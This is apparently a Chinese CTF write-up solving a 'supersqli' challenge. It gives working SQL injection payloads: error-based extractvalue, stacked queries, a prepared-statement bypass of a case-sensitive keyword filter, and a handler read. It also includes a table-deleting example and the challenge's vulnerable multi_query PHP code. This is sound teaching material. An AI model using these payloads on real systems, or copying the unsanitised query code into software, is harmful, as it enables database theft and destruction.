学 报错注入:
updatexml是修改的。而evtractvalue是查询的
updatexml 没什么好说的
payload1:
1' and (extractvalue(1,concat(0x7e,user(),0x7e)));# 构造方式和updatexml 一样的
不过这题 把update用正则表达式强行过滤了 只能用 extractvalue了
查到 了!
error 1105 : XPATH syntax error: '~root@localhost~'
用户名 很明显的linux系统
payload2 :1' and (extractvalue(1,concat(0x7e,database(),0x7e)));#
查询到
error 1105 : XPATH syntax error: '~supersqli~'
当前数据库名为supersqli
因为用不了select 所以 只能采取别的方法
这题已经明显给出过滤提示了 所以我猜测给出源码的概率 不大 不想之前的千毒网盘 找到源码 分析 源码 构造注入点 联合注入都能出
本来想 构造 时间注入的 发现时间注入也要select 。。。
这里是 接触比较少 的 堆叠 注入 以前 知道点 但是对堆叠了解不深
payload: -1';show tables# 直接出表名 离谱 把搜索框当自己家数据库了吧
array(1) { [0]=> string(5) "flagg" }
array(1) { [0]=> string(5) "words" }
试了一下 -1';show databases# 还真把这当自己数据库使了
取材于某次真实环境渗透,只说一句话:开发和安全缺一不可
array(1) { [0]=> string(11) "ctftraining" }
array(1) { [0]=> string(18) "information_schema" }
array(1) { [0]=> string(5) "mysql" }
array(1) { [0]=> string(18) "performance_schema" }
array(1) { [0]=> string(9) "supersqli" }
array(1) { [0]=> string(4) "test" }
那我看看 有啥字段 可以这样用 : -1';show columns from `表名`#
可以看表下有什么字段 或者 直接 -1';desc `表名`#
取材于某次真实环境渗透,只说一句话:开发和安全缺一不可
array(6) { [0]=> string(4) "flag" [1]=> string(12) "varchar(100)" [2]=> string(2) "NO" [3]=> string(0) "" [4]=> NULL [5]=> string(0) "" }
出来了 flag字段 无法再进行 直接找了
需要使用到select 用到预编译法绕过
小白 第一次接触
预编译相关语法如下:
set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句
没例子 看了 也没啥用
比如构造 :
-1';set @sql = CONCAT('se','lect * from `flagg`;');prepare stmt from @sql;EXECUTE stmt;#
这里的stmt应该可以随便改 `一串数字`是一个表名 set是设置
意思其实就是 设置一个值为concat('se','lect * from `xxx`;'); 这里用了拼接 之后的prepare stmt from @sql 就是将里面的值赋给stmt 最后 execute 将这段变量语句当作sql语句执行
因为是堆叠 所以 可以这样构造 否则很难像这样搞多条语句
所以 如果 碰到堆叠 没绕过最好 有绕过 就要想到预编译绕过
取材于某次真实环境渗透,只说一句话:开发和安全缺一不可
strstr($inject, "set") && strstr($inject, "prepare")
又给出 提示 说明 离目标很近了
这里只用了strstr过滤 语句中的set和prepare 可以通过构造大小写 轻松绕过
所以
-1';Set @sql = CONCAT('se','lect * from `flagg`;');Prepare stmt from @sql;EXECUTE stmt;#
CG
取材于某次真实环境渗透,只说一句话:开发和安全缺一不可
array(1) { [0]=> string(40) "BMZCTF{a1455ef8b9dc4baf9c4909022e5eceec}" }爆出 flag
b
另一种解法 :
0x04 handler
介绍一下这个函数,有类似于select的功能,更强大的是,他可以在不知道字段名的前提下查询出字段的值。
payload:1';handler `1919810931114514` open as aaa;handler aaa read first;
其中的aaa为我们自己定义的名字,first为读第一行数据,与他并列的还有next(读取下一行);
堆叠注入 补充 :
0x00 堆叠注入定义
Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection。
其实就是可以执行多条语句
例如,以下这个例子,用户输入:
1;delete from products
因服务器端未对输入的参数进行过滤,第二条则将整个表进行删除。
堆叠注入本身原理不难
关键是 怎么产生的
if(isset($_GET['inject'])) { | |
$id = $_GET['inject']; | |
waf1($id); | |
waf2($id); | |
$mysqli = new mysqli("127.0.0.1","root","root","supersqli"); | |
//多条sql语句 | |
$sql = "select * from `words` where id = '$id';"; | |
$res = $mysqli->multi_query($sql); | |
if ($res){//使用multi_query()执行一条或多条sql语句 | |
do{ | |
if ($rs = $mysqli->store_result()){//store_result()方法获取第一条sql语句查询结果 | |
while ($row = $rs->fetch_row()){ | |
var_dump($row); | |
echo "<br>"; | |
} | |
$rs->Close(); //关闭结果集 | |
if ($mysqli->more_results()){ //判断是否还有更多结果集 | |
echo "<hr>"; | |
} | |
} | |
}while($mysqli->next_result()); //next_result()方法获取下一结果集,返回bool值 | |
} else { | |
echo "error ".$mysqli->errno." : ".$mysqli->error; | |
} | |
$mysqli->close(); //关闭数据库连接 | |
} |
题目源码里有用到循环 反复对sql语句进行读取 才实现 了堆叠